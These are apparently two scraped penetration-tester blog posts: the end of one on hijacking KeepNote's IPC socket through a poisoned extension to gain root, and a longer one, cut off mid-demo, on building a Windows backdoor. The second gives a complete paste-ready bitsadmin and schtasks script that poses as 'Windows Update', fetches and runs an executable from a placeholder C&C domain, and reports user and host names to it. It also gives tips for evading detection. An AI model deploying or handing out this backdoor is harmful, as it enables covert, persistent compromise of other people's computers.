<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiHIPqBldowedl4vkJej20ZpjMqaBduA8ElR5nNz4ADJkfI57iQoB9agaoVbkBSmbFPrTTsCZl1xpC90P_afrzxUnkI-ZOi_Eg7p-tsV2sYYjor0KF9Lr58M30sn8nCq9Lth-YhCY0dvpe3/s1600/port.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiHIPqBldowedl4vkJej20ZpjMqaBduA8ElR5nNz4ADJkfI57iQoB9agaoVbkBSmbFPrTTsCZl1xpC90P_afrzxUnkI-ZOi_Eg7p-tsV2sYYjor0KF9Lr58M30sn8nCq9Lth-YhCY0dvpe3/s1600/port.png" /></a></div>
<br />
We now have everything we need to <span style="font-size: small;">discover<span style="text-align: center;">, map, and crack the IPC pin. Onward to code execution!</span></span><br />
<br />
<br />
<b>The Commands:</b><br />
After some exploration, leveraging extension installation functionality seems the most likely path to execution of code.<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjxAbFIv74c9dJjkCKX1d2r74niw19BSQPAw-3FlW3W6LzT5dr3gGPviSh-4CkDsTTZs4NBJSFHYbBJlsih2NbcgfHNWECFdu06dxSMrsO-IVsKZ8xo8nH3WOmdQIqj3d9fp8yAWdY4qu5v/s1600/install.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em; text-align: center;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjxAbFIv74c9dJjkCKX1d2r74niw19BSQPAw-3FlW3W6LzT5dr3gGPviSh-4CkDsTTZs4NBJSFHYbBJlsih2NbcgfHNWECFdu06dxSMrsO-IVsKZ8xo8nH3WOmdQIqj3d9fp8yAWdY4qu5v/s1600/install.png" /> </a></div>
<br />
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
Investigation of the extension format reveals they are zipped archives containing an informational XML file and the Python code for the extension.<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEilULR6ylR26bXZYWRu3M-B8CS_6KFd6smFFCP0GFj0_k4t68glPLBRjOtaMsb3YMJUm7BEPB4DM7lljBklhs-IMeGUXsg8HDoaDg2UlnSrRbYTZzKkBtFO9OkY7kxB6pKPC8mi9cs07k7z/s1600/extension.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEilULR6ylR26bXZYWRu3M-B8CS_6KFd6smFFCP0GFj0_k4t68glPLBRjOtaMsb3YMJUm7BEPB4DM7lljBklhs-IMeGUXsg8HDoaDg2UlnSrRbYTZzKkBtFO9OkY7kxB6pKPC8mi9cs07k7z/s1600/extension.png" /></a></div>
<br />
<br />
Reviewing the code, there appears to be an "Extension" class inherited from keepnote.gui.extension.Extension, we choose this as our target for execution.<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgOWLbVnJ4CuiEPrAlNG7PhQBwtiia17fy7c7Q0EA_5FWHheqdH-1XtCQANVmU_Mw6bwkepI7EU99BWnqPB5IEu6AGHFapE5QVq282rbANeUzOd89o1_4EOM_e8jrNlWi3-1HXcvDtMPt3Y/s1600/initclass.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgOWLbVnJ4CuiEPrAlNG7PhQBwtiia17fy7c7Q0EA_5FWHheqdH-1XtCQANVmU_Mw6bwkepI7EU99BWnqPB5IEu6AGHFapE5QVq282rbANeUzOd89o1_4EOM_e8jrNlWi3-1HXcvDtMPt3Y/s1600/initclass.png" /></a></div>
By poisoning the __init__ method of this class, we can gain execution when an instance of the class is created. Importantly, we do so with low likelihood of disrupting normal execution flow.<br />
<br />
<br />
<b>The Payload:</b><br />
Our first attempt at using the install command results in a user prompt. We could social engineer the interaction as follows, but this is less than ideal:<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiFVJRA2_GsPHrih8BuqPjXTwFLz-t73XlIc7fN6JE3xBID27YsP4P2m_Je-5mkwrcFTycXJ1kcFZNJC9rSJuEr2kTZozMBMqXFMaNBwvReMLxHJvoCpJ2m4Dq3nLbzK46-ZpqZfBmxPlZI/s1600/prompt.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiFVJRA2_GsPHrih8BuqPjXTwFLz-t73XlIc7fN6JE3xBID27YsP4P2m_Je-5mkwrcFTycXJ1kcFZNJC9rSJuEr2kTZozMBMqXFMaNBwvReMLxHJvoCpJ2m4Dq3nLbzK46-ZpqZfBmxPlZI/s1600/prompt.png" /></a></div>
<br />
<br />
Digging for alternate ways to instantiate an extension, we find on_temp_extension(). This function initializes a single session extension instance without user interaction. It lacks functionality to unpack our archive, so we'll need to extract the extension contents ourselves.<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj5x8ZrAjfJGRswPgp4RcJNMpN2xqY4HvR3XUmdr0uTdg73_ZwiUbIvW1CxULJVDl9HsSN_BCjVQfnsAWz-Hfbhr7HoTf7tqtpCGZPTEz-Cuu3BPxqtcPqyeeu73Xq2uFf43Xha7qnbOjCc/s1600/install_extension.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj5x8ZrAjfJGRswPgp4RcJNMpN2xqY4HvR3XUmdr0uTdg73_ZwiUbIvW1CxULJVDl9HsSN_BCjVQfnsAWz-Hfbhr7HoTf7tqtpCGZPTEz-Cuu3BPxqtcPqyeeu73Xq2uFf43Xha7qnbOjCc/s1600/install_extension.png" /></a></div>
<div style="text-align: center;">
User interaction required.</div>
<div style="text-align: center;">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjcK_3jkE_HefeK58TkbjolIj_EDIvc0yoJ7l9c32IKvuUYqDzb880B5BB1V9j3Y2rMHRh3QNByRyWVMSHLXi8sNuXhZ3_ks4VupbG2dY6T9RGjgP0sHDXMTwD7Mo_IpE1rJKX8gIe-zGn8/s1600/on_temp_extension.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjcK_3jkE_HefeK58TkbjolIj_EDIvc0yoJ7l9c32IKvuUYqDzb880B5BB1V9j3Y2rMHRh3QNByRyWVMSHLXi8sNuXhZ3_ks4VupbG2dY6T9RGjgP0sHDXMTwD7Mo_IpE1rJKX8gIe-zGn8/s1600/on_temp_extension.png" /></a></div>
<div style="text-align: center;">
Silent extension installation.<br />
<br /></div>
<div style="text-align: center;">
<br /></div>
We now have everything we need to escalate privileges on the system.<br />
<span style="color: red;"><b><br /></b></span>
<span style="color: red;"><b><br /></b></span>
<b>The Mitigation:</b><br />
In order to mitigate this attack, I recommend starting KeepNote with the <span style="font-family: "Courier New",Courier,monospace;"><b>--newproc</b></span> flag. Use of this flag will prevent the command socket from being created. As the project does not appear to be under active development, and exposure to this vulnerability is rather low, turning off the IPC socket will be an
acceptable mitigation for most users.<br />
<br />
I have contacted the primary author of the project out of courtesy.<br />
<br />
Note, this blog is in no way a commentary on the competency of the authors of the project, many of whom I'm certain are more capable developers than myself; thanks for the great software folks!<br />
<br />
<br />
<b>The Exploit:</b><br />
Code available at: <a href="https://github.com/themson/keepUP">https://github.com/themson/keepUP</a><br />
<br />
<b>Note: </b>I've also written a threaded version of this POC, however, under Python 2.7.* the GIL drastically impacts the speed of the attack. A speed increase can be had by leveraging taskset to force process affinity to one core, however, if speed is a major concern, C is the answer.<br />
<br />
<h4>
<span style="font-size: large;"><b><br /></b></span></h4>
<h4>
<span style="font-size: large;">Enough Talk, uid=0 Time!</span></h4>
<div style="text-align: left;">
Hijacking the KeepNote IPC socket to execute arbitrary code.<br />
<br />
In order to demonstrate this vulnerability, we create a user with no privileged group membership or sudoer privileges. We then use this account to exploit the IPC socket, gaining a root shell.<br />
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhIIHILDCQ8eB2bQd5FfC4P3yL9h4PeN-sURw1Ivg3sj5zCQzLmrVD3SUnIReOMPI58x7GRhbnHp2KqKu8pL6dAXIVr9EVRWHvqtIef6khVTsX-6r3iMUn39RmDAw9I66ccDyWb1vhRejgF/s1600/demo2.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhIIHILDCQ8eB2bQd5FfC4P3yL9h4PeN-sURw1Ivg3sj5zCQzLmrVD3SUnIReOMPI58x7GRhbnHp2KqKu8pL6dAXIVr9EVRWHvqtIef6khVTsX-6r3iMUn39RmDAw9I66ccDyWb1vhRejgF/s1600/demo2.png" /></a></div>
<div class="separator" style="clear: both; text-align: center;">
</div>
<br />
<br />
<div style="text-align: center;">
<h4>
<span style="font-size: large;"><span style="text-align: center;">Map, Crack, Hijack, Escalate</span></span></h4>
</div>
<div style="text-align: center;">
We can now hijack any account with an exposed KeepNote IPC socket. </div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgZuHJ8mj9aKClDy52kgdjLHFJcvk4OYa85KWFv_BUyGAeSTKDqLIhI0mn54FN23KE4XytNTMB2kBCaMoiE3BRBeyl_xC-WYkB7eSSuFMvwTbQoCsAnCGxb6nlMMt8lEzat7Nm8Naiv4241/s1600/wnod.gif" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgZuHJ8mj9aKClDy52kgdjLHFJcvk4OYa85KWFv_BUyGAeSTKDqLIhI0mn54FN23KE4XytNTMB2kBCaMoiE3BRBeyl_xC-WYkB7eSSuFMvwTbQoCsAnCGxb6nlMMt8lEzat7Nm8Naiv4241/s1600/wnod.gif" height="161" width="400" /></a></div>
<br />
Go learn something ...<span style="color: red;"> </span><br />
<span style="color: red;"><b><a href="https://twitter.com/ThemsonMester" target="_blank">@ThemsonMester</a></b></span><br />
<br />
<br />
<!-- live the taquito, be the taquito 0======0 -->
Cited Resources:<br />
https://github.com/brotchie/keepnote <br />
https://docs.python.org/2/library/socket.html#socket.socket.listen <br />
https://docs.python.org/2/library/random.html#random.randint<br />
https://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/tree/include/net/tcp_states.h <br />
https://github.com/mdrasmus/keepnote-extensions<br />
http://msdn.microsoft.com/en-us/library/windows/desktop/aa365574%28v=vs.85%29.aspx<br />
http://www.advancedlinuxprogramming.com/alp-folder/alp-ch05-ipc.pdf<br />
http://patorjk.com/software/taag/ <br />
<ul>
</ul>
@ThemsonMesterhttp://www.blogger.com/profile/14184721559739345817noreply@blogger.com0tag:blogger.com,1999:blog-4241045165581630915.post-51748158608410396982014-03-08T15:13:00.001-08:002014-09-18T21:14:01.559-07:00 Temporal Persistence with bitsadmin and schtasks<div style="text-align: center;">
<h2>
<span style="font-family: inherit; font-size: large;"><b></b></span></h2>
<h3>
<b>- Leaving a Key Under the Mat -</b></h3>
</div>
<br />
<span style="font-family: inherit;"><b>Why Do This:</b></span><br />
On a recent engagement, I ran into a well-meaning individual who, after being briefed about our team's access to their network, decided to reboot compromised hosts and change user credentials in the middle of the testing. After losing multiple shells that weren't actually being detected, I decided to spend that evening after work creating a method to let myself back in.<br />
<br />
There are numerous common persistence methods, however, leaving behind registry keys, start-up configurations, or any permanent files was strictly out of the question. Additionally, I wanted the source of reentry to be remotely triggered, C&C independent, and any changes to the system should appear plausibly legitimate.<br />
<br />
<b>What We Want:</b><br />
<ul>
<li>No files left behind: binaries, vbs, ps1, batch, mof, xml... </li>
<li>Persistence across sessions and reboots</li>
<li>Functional under non-privileged user accounts</li>
<li>No need for user credentials or interaction</li>
<li>Ability to reinfect unique hosts individually </li>
<li>Self cleaning, independent of system access</li>
<li>Configurable time-based poling</li>
<li>Remotely Mutable C2 Addressing</li>
<li>C2 & payload only visible during reinfection window</li>
<li>Plausibly believable configurations</li>
</ul>
<div>
<br /></div>
The means of persistence on which I settled was Microsoft's Background Intelligent Transfer Service (BITS), and the associated <b><a href="http://msdn.microsoft.com/en-us/library/aa362813(v=vs.85).aspx" target="_blank">bitsadmin</a> </b>tool<b>:</b><br />
<br />
<br />
<b>Nothing is New:</b><br />
<div style="text-align: left;">
Bitsadmin has received some coverage of late, most notable are the following examples.</div>
<ul>
<li>mubix and carnal0wnage's Derbycon2 talk: <a href="http://www.slideshare.net/mubix/windows-attacks-at-is-the-new-black-26665607" target="_blank">Windows Attacks AT is the new black</a></li>
<li>Mark Bagget and Jake Williams' blog post and talk: <a href="https://isc.sans.edu/diary/Wipe+the+drive+Stealthy+Malware+Persistence+Mechanism+-+Part+1/15394" target="_blank">Wipe the drive! Stealthy Malware Persistence Mechanism</a> </li>
</ul>
<div>
After trying the examples listed in these talks, I realized some pieces were missing. This is not to say that the information was inaccurate, simply incomplete for my purpose. </div>
<div>
<br />
<br /></div>
<div>
<h4>
<span style="font-size: large;">Constructing a BITS Back Door:</span></h4>
</div>
<div>
<br /></div>
<div>
<b>Component One: Assembling a BITS Job</b><br />
<pre class="prettyprint"># Create new transfer job named "Windows Update"
bitsadmin /Create "Windows Update"
# Add a file to our job
bitsadmin /AddFile "Windows Update" http://<yourC&C>.com/kb%RANDOM%.exe %TEMP%\kb7468656d.exe
# Customize the notification event trigger
bitsadmin /SetNotifyFlags "Windows Update" 1
# Specify command to execute on notification event
bitsadmin.exe /SetNotifyCmdLine "Windows Update" "%COMSPEC%" "cmd.exe /c bitsadmin.exe /complete \"Windows Update\" && start /B %TEMP%\kb7468656d.exe"
# Set retry delay on transient error in seconds
bitsadmin /SetMinRetryDelay "Windows Update" 120
# Assign custom HTTP Request header
bitsadmin /SetCustomHeaders "Windows Update" "Caller:%USERNAME%@%COMPUTERNAME%"
# Activate job for transfer
bitsadmin /Resume "Windows Update"
</pre>
Important Settings:<br />
<br />
<ul>
<li>Use of the <b>/SetNotifyFlags 1</b> causes BITS to "Generate an event [ONLY] when all files in the job have been transferred." </li>
<li>Leveraging <b style="font-family: 'Segoe UI', 'Lucida Grande', Verdana, Arial, Helvetica, sans-serif; font-size: 13px; line-height: 17.549999237060547px;">/SetNotifyCmdLine</b> we issue the <b>/Complete</b> command and subsequently execute our payload. Without use of /Complete BITS will leave our files in a tmp state and not move them to the correct directory within the file system. This usage of <b>/SetNotifyCmdLine</b> along with <b>/Complete</b> seem to be missing from most examples of using this tool. </li>
<li>Utilizing the <b>%RANDOM%</b> variable in our <b>/AddFile </b>command, along with environment variables in our <b>/SetCustomHeaders </b>command, we create a host-specific HTTP request header and trigger file. We can now easily identify each machine and trigger their reinfection independently of one another.</li>
</ul>
<br />
<br />
Issuing the above commands results in the following request being sent to our C&C server:<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEijwsZ13xE3r0wDW7BLrUxGINo5LJ4fjbHeoAGqeFjZoPhKCY8F8uOcq9zZlY2Ke66V2M8LE5B8SYkItgi72ZWxOQOcq6OdBwTWHAO8KGbt4lgwGL7LfL6fHQwcQ5cf7S3iJzCfh4Fytbt5/s1600/1header.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEijwsZ13xE3r0wDW7BLrUxGINo5LJ4fjbHeoAGqeFjZoPhKCY8F8uOcq9zZlY2Ke66V2M8LE5B8SYkItgi72ZWxOQOcq6OdBwTWHAO8KGbt4lgwGL7LfL6fHQwcQ5cf7S3iJzCfh4Fytbt5/s1600/1header.png" /></a></div>
<br />
<div class="separator" style="clear: both; text-align: center;">
</div>
<div class="separator" style="clear: both; text-align: center;">
</div>
<br />
<b>Component Two: Monitoring our Backdoor</b><br />
We can monitor BITS requests in our Apache access.log as follows, or we can do better...<br />
<div class="separator" style="clear: both; text-align: left;">
</div>
<div class="separator" style="clear: both; text-align: center;">
</div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjbQsXKXKq9YZN6YGQ216jQpUkFGjf3S2mmvRo0YGixZpxzOhrRRj7Et5CHYUZFqV8SUrRuhc2kGFc_s0cKbwcVFEwj2JElD5PbJO2QuDmsydR9AfBpzeSA7fYkxb7D8bsfvP5TwrcBqwJb/s1600/2apache1.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjbQsXKXKq9YZN6YGQ216jQpUkFGjf3S2mmvRo0YGixZpxzOhrRRj7Et5CHYUZFqV8SUrRuhc2kGFc_s0cKbwcVFEwj2JElD5PbJO2QuDmsydR9AfBpzeSA7fYkxb7D8bsfvP5TwrcBqwJb/s1600/2apache1.png" height="33" width="640" /></a></div>
<br />
<div class="separator" style="clear: both; text-align: center;">
</div>
To generate a log that leverages our custom file names and request headers, we add some Apache CustomLog and SetEnvIf directives to <b>/etc/apache2/sites-enabled/000-default</b><br />
<div class="separator" style="clear: both; text-align: left;">
</div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi-bqwqn6PRLA337hzOSVi9YSzronP4LKw5TN96rwHEZYQ-DncOtDRHQLt5kgR8XllWhJvYY2hxZ9BGDx-4yVk58QZPthi9kbxb57G_OccQuihouy4hyQ11RzlsIAMPWm26tb_aU0iDRf_X/s1600/apacheCustomLog.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi-bqwqn6PRLA337hzOSVi9YSzronP4LKw5TN96rwHEZYQ-DncOtDRHQLt5kgR8XllWhJvYY2hxZ9BGDx-4yVk58QZPthi9kbxb57G_OccQuihouy4hyQ11RzlsIAMPWm26tb_aU0iDRf_X/s1600/apacheCustomLog.png" /></a></div>
<br />
After restarting Apache, we now have a BITS only log with the exact information we need:<br />
<div class="separator" style="clear: both; text-align: center;">
</div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjr1Srk8m_mL98wPBO5YBTGip4hTmJ6xQLvKPqFhY3y81pkY0zuugzs9jkHV1Ik_R6uBdQEbvzJ1SZqy884GZxE-NxkujdULfCANXlpmSkvWizoe1rsia0UnFABkEZTzcXCyK1rIU2A5CCY/s1600/4customBitsLog.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjr1Srk8m_mL98wPBO5YBTGip4hTmJ6xQLvKPqFhY3y81pkY0zuugzs9jkHV1Ik_R6uBdQEbvzJ1SZqy884GZxE-NxkujdULfCANXlpmSkvWizoe1rsia0UnFABkEZTzcXCyK1rIU2A5CCY/s1600/4customBitsLog.png" /></a></div>
<br />
Unfortunately, we aren't quite done yet. If our BITS job sends a HEAD requests for a file that does not exist we completely lose access.<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiz3Ypb7smLAiybiyTmPkpL3XS_LgqZcetd901oNz8JceJfTcM2OJWRqvJHVC2djp-lXRP3TlFh87U_476-IZPHHhDX5K4h1fXleAiF7589V_UwmnMB8k1ZSYA5bwKhMyQBDoxdHnPaSgPw/s1600/5bitserror1.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiz3Ypb7smLAiybiyTmPkpL3XS_LgqZcetd901oNz8JceJfTcM2OJWRqvJHVC2djp-lXRP3TlFh87U_476-IZPHHhDX5K4h1fXleAiF7589V_UwmnMB8k1ZSYA5bwKhMyQBDoxdHnPaSgPw/s1600/5bitserror1.png" height="108" width="640" /></a></div>
From MSDN:<br />
<ul style="font-family: 'Segoe UI', 'Lucida Grande', Verdana, Arial, Helvetica, sans-serif; line-height: 17.549999237060547px;">
<li><span style="font-size: x-small;">ERROR — A nonrecoverable error occurred; </span><b>the transfer will not be retried.</b></li>
</ul>
<div class="separator" style="clear: both; text-align: center;">
</div>
<span style="color: red;"><br /></span>
<b>Component Three: Priming BITS with schtasks.exe</b><br />
To solve the problem of BITS entering an error state, we use <b>schtasks</b> to resume our job at regular intervals. This will allow our backdoor to persist regardless of the state of our C&C, or presence of a trigger-file.<br />
<b><br /></b>
Crafting our Scheduled Task<br />
<pre class="prettyprint">schtasks /CREATE /TN "Windows Update" /TR "%WINDIR%\system32\sbitsadmin.exe /resume \"Windows Update\"" /SC minute /MO 30 /ED 03/14/2014 /ET 09:00 /Z /IT /RU %USERNAME%
</pre>
Important Settings:<br />
<span style="color: lime;"># The /resume flag will restart our BITS job if it has entered an error state</span><br />
/TR %WINDIR%\system32<b>\sbitsadmin.exe /resume...</b><br />
<span style="color: lime;"># Utilizing a "schedule modifier" we create a task whose actions will trigger every <b>X</b> minutes.</span><br />
/SC minute /MO <b><X</b>><br />
<span style="color: lime;"># Using an end date and end time we set an expiration date for our task</span><br />
/ED <<b>DATE</b>> /ET <<b>TIME</b>><br />
<span style="color: lime;"># Using the /Z flag causes our task to self delete at the specified end date and time</span><br />
/Z<br />
<span style="color: lime;"># Run as %USERNAME% executes our task under a compromised user without need for credentials</span><br />
/IT /RU <b>%USERNAME%</b><br />
<b><br />
Our Newly Created Task</b><br />
This task will automatically delete itself once it has reached the end date and time.<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiD0iZR-LssF7NKtI6XTfP4nZg4lCY5Feb4_EjfFaOovQx6iFoSKMGLR7NZ3UklFwu9mJXx_gWNZ_C7RVGEIIMkVWMOkWMA4a7Qp2tqsqbu210G-icGbi-r2JZyYEzIxnk-HVjo7Rc3utLt/s1600/Task.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="" border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiD0iZR-LssF7NKtI6XTfP4nZg4lCY5Feb4_EjfFaOovQx6iFoSKMGLR7NZ3UklFwu9mJXx_gWNZ_C7RVGEIIMkVWMOkWMA4a7Qp2tqsqbu210G-icGbi-r2JZyYEzIxnk-HVjo7Rc3utLt/s1600/Task.png" height="281" title="" width="640" /></a></div>
<b><span style="color: red;"><br /></span></b>
<b><span style="color: red;"><br /></span></b>
<b>A note on plausible configurations and persistence methods:</b><br />
Some will argue that we could simply utilize this scheduled task to trigger a download and execution request at a regular interval. Perhaps pole for a powershell script. They are not incorrect, however, I prefer to leverage the innocuous appearance of the task. I am of the mind that not exposing our C&C IP or Domain name in our scheduled task puts us at a lower risk of discovery; the average user, and even administrator, is highly unlikely to view the details of our BITS job. The curious are likely only to run common informational commands such as <b>bitsadmin /list</b> and <b>bitsadmin /info,</b> not revealing our C&C information without the<b> /verbose </b>flag. An even more nefarious attacker might go as far as to point their C&C DNS at a legitimate Windows Update server until needed, making the HTTP call back traffic appear legitimate up to and after reinfection. I certainly would never suggest doing such a thing, but yield that the more believable the configuration, the more effective the backdoor.<br />
<br />
<b><br /></b>
<br />
<h4>
<span style="font-size: large;">Enough Talk, Lets Do This Thing!</span></h4>
Combing bitsadmin and schtasks we can deploy a backdoor by pasting the following into our shell.<br />
<pre class="prettyprint"># ------------------- BITS BACK DOOR ----------------------
# Themson Mester - 03/06/2014
# Configure: /AddFile <Domain> | /MO <Minutes> | /ED <DATE> | /ET <Time>
cd %TEMP%
bitsadmin /Reset > NUL
bitsadmin /Create "Windows Update" > NUL
bitsadmin /AddFile "Windows Update" http://<Domain>.com/kb%RANDOM%.exe %TEMP%\kb7468656d.exe > NUL
bitsadmin /SetNotifyFlags "Windows Update" 1 > NUL
bitsadmin.exe /SetNotifyCmdLine "Windows Update" "%COMSPEC%" "cmd.exe /c bitsadmin.exe /complete \"Windows Update\" && start /B %TEMP%\kb7468656d.exe" > NUL
bitsadmin /SetMinRetryDelay "Windows Update" 120 > NUL
bitsadmin /SetCustomHeaders "Windows Update" "Caller:%USERNAME%@%COMPUTERNAME%" > NUL
schtasks /delete /TN "Windows Update" /F
schtasks /CREATE /TN "Windows Update" /TR "%WINDIR%\system32\bitsadmin.exe /Resume \"Windows Update\"" /SC minute /MO 60 /ED 03/14/2014 /ET 09:00 /Z /IT /RU %USERNAME% > NUL
bitsadmin /List
schtasks /Run /TN "Windows Update"
schtasks /Query /TN "Windows Update"
# ------------------- EOF ---- them ---- EOF ---------------------</pre>
<h3>
<span style="font-family: inherit; font-size: large;">Demo Time:</span></h3>
<b>Deploy the Backdoor:</b><br />
A callback interval of 2 minutes is used for testing, 60-90 minutes is quieter for actual use.<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj10gQm6l0ZnhAhQ25qV3bpIP8d9maLF189s_-bQczrRwnQFgs-TCfTaYpD2DI0leFJd5PyRDj3p-RTwZjc5Hf4tT8f_YWE6lKz_5bKi5FbgxiXpwLp_-1dbo_PQHMHUxcXNGJay4NNAUP6/s1600/paste2.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj10gQm6l0ZnhAhQ25qV3bpIP8d9maLF189s_-bQczrRwnQFgs-TCfTaYpD2DI0leFJd5PyRDj3p-RTwZjc5Hf4tT8f_YWE6lKz_5bKi5FbgxiXpwLp_-1dbo_PQHMHUxcXNGJay4NNAUP6/s1600/paste2.png" height="120" width="640" /></a></div>
<br />
<div class="separator" style="clear: both; text-align: center;">
</div>
<div class="separator" style="clear: both; text-align: center;">
</div>
<b>Phoning Home:</b><br />
The initial schtasks /run triggers our first phone home as seen in our monitoring log.<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhDruxl08EimaARZAnAlNKdWfB-4Hamr4Fova9ZtmdcgJ_u21Ia9oqbi9wUBJdBdmSuWwqUJSo3LQeAjDYR75baXiDToCqHxXLOS8VM5bZAPNlqxAU0gDKYlIbb-FH7JK3gDsBwU4j2DH0L/s1600/callbackpole.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhDruxl08EimaARZAnAlNKdWfB-4Hamr4Fova9ZtmdcgJ_u21Ia9oqbi9wUBJdBdmSuWwqUJSo3LQeAjDYR75baXiDToCqHxXLOS8VM5bZAPNlqxAU0gDKYlIbb-FH7JK3gDsBwU4j2DH0L/s1600/callbackpole.png" height="50" width="640" /></a></div>
<br />
<b>Losing our Session: </b><br />
After killing the session, I rebooted the box, then logged on, off, and on again as two different users.<br />
Our backdoor phones home soon after the user under whom it was deployed logs on.<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj55gB6PP7yCR2vNIBUqNCLnsbalZQQJdPYU9g_fCoJSF7TgnkNWwYUVFHyS__j98UXHlzw6f1veGBfoBLEoRfUkHwJlc6emVqZaStzJ_ahqY8GuzIUBzHfKM1EDg9MBA82i-Z3YrqoOeg5/s1600/persist.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj55gB6PP7yCR2vNIBUqNCLnsbalZQQJdPYU9g_fCoJSF7TgnkNWwYUVFHyS__j98UXHlzw6f1veGBfoBLEoRfUkHwJlc6emVqZaStzJ_ahqY8GuzIUBzHfKM1EDg9MBA82i-Z3YrqoOeg5/s1600/persist.png" height="162" width="640" /></a></div>
<br />
<b>Reinfecting the Host:</b><br />
We deploy a payload using the custom trigger-file name for the machine we wish to target.<br />
<div class="separator" style="clear: both; text-align: center;">
</div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjPZU1eOWvdXe3Vb1a8XE9FBtgE7ChmL37B0GTy8L6ZIQdr7tjaRHd0nOHnVBypUH6L1mJXJpV4zz6rsCeMjasfLUbS1woFigE0YovuiEpZl7vrz_lbT2QaTs5BHVbSHCH1Egc7Gp2uBYHj/s1600/redeploy.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjPZU1eOWvdXe3Vb1a8XE9FBtgE7ChmL37B0GTy8L6ZIQdr7tjaRHd0nOHnVBypUH6L1mJXJpV4zz6rsCeMjasfLUbS1woFigE0YovuiEpZl7vrz_lbT2QaTs5BHVbSHCH1Egc7Gp2uBYHj/s1600/redeploy.png" height="172" width="640" /></a></div>
<br />
<b>Host Acquires Payload:</b><br />
The host whose trigger-file we used pulls down our payload.<br />
<div class="separator" style="clear: both; text-align: center;">
</div>
<div class="separator" style="clear: both; text-align: center;">
